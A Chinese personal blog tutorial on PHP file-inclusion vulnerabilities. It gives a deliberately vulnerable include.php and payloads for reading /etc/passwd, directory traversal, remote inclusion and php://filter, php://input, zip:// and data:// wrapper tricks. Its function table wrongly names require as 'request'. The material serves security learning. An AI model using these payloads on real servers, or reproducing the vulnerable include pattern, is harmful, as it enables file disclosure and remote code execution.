伪协议与文件包含
@ Zhang zhiyang · Monday, Jan 1, 0001 · 2 minute read · Update at Monday, Jan 1, 0001

0x00 基础

函数:$file=<filepath|url|伪协议>

函数 概况
highlight_file($file) 高亮输出代码
show_source($file) 同上
file($file) 把整个文件读入一个数组
file_get_contents($file) 把整个文件读入一个字符串
fopen($file,$mode) 打开一个文件,搭配fread()和fgets()使用
readfile($file) 读取并输出文件内容(不输出php代码)并返回字节数
include($file) 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
include_once($file) 只包含一次,其它同上
request($file) 在包含的过程中如果出现错误,会直接报错并退出程序的执行
request_once($file) 只包含一次,其它同上

php配置文件:php.ini

  • allow_url_fopen=:允许获取远程url文件信息(不能获取https协议信息)

  • allow_url_include=:允许包含远程url和部分伪协议

0x01 文件包含

#include.php
<?php
highlight_file('include.php');
$file=$_GET['file'];
if (!isset($file)){
    header('location:include.php?file=echo.php');
}
else 
    include($file);
    //$post=file_get_contents($file);
    //eval($post);

#echo.php
<?php echo '<br> 123456 </br>';
#phpinfo.php
<?php phpinfo();
  • 本地文件包含
url?file=/etc/passwd
<?php
include('/etc/passwd')  //读取重要文件
  • 远程文件包含(allow_url_fopen=1&allow_url_include=1)
url?file=https://www.geekyang.top/test.php
<?php
include('https://www.geekyang.top/test.php')  //运行test.php
  • 目录穿越
url?file=../../../etc/passwd
<?php
$a=$_GET['a'];
include('/var/www/html/'.$a); //越权读取文件<url>?a=../../../etc/passwd

0x02 伪协议

  • file://(fopen=0&include=0)访问本地文件系统(绝对路径)
url?file=///etc/passwd
<?php
include('file:///etc/passwd') //读取本地文件
  • zip:// (fopen=0&include=0)获取压缩文件的内容并当作php运行
//绝对路径 压缩包格式任意
url?file=zip://D:\phpstudy_pro\WWW\include\phpinfo.zip\phpinfo.txt
<?php
$a=file_get_contents('zip://D:\phpstudy_pro\WWW\include\phpinfo.zip\phpinfo.txt');
  • php://input(fopen=0&include=1)获取传入的post数据并运行
url?file=php://input  //post phpinfo()
<?php
$a=file_get_contents('php://input');
  • php://filter(fopen=0&include=0)base64编码读取源代码
url?file=php://filter/read=convert.base64-encode/resource=echo.php
<?php 
include('php://filter/read=convert.base64-encode/resource=test.php');
  • data://(fopen=1&include=1)传输数据
data://text/plain,<php>
include('data://text/plain,<?php phpinfo();');//传输php代码数据并运行
<url>?file=data://text/plain,<?php phpinfo();

data://text/plain;base64,<base64_php>
include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==');//解码base64传输数据
<url>?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
Zhang zhiyang's blog
不过是些许风霜罢了
c cyber http linux math mysql php python 前端

© 2016 - 2022 Zhangzhiyang的博客

Powered by Hugo with theme Dream.

我听别人说这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。

日程

Zhangzhiyang的 ❤️ 博客

其他

如果你喜欢我的开源项目或者它们可以给你带来帮助,可以赏一杯咖啡 ☕ 给我。~

If you like my open source projects or they can help you. You can buy me a coffee ☕.~

PayPal

https://paypal.me/g1eny0ung

Patreon

Become a Patron!

微信赞赏码

wechat

最好附加一下信息或者留言,方便我可以将捐助记录 📝 下来,十分感谢 🙏。

It is better to attach some information or leave a message so that I can record the donation 📝, thank you very much 🙏.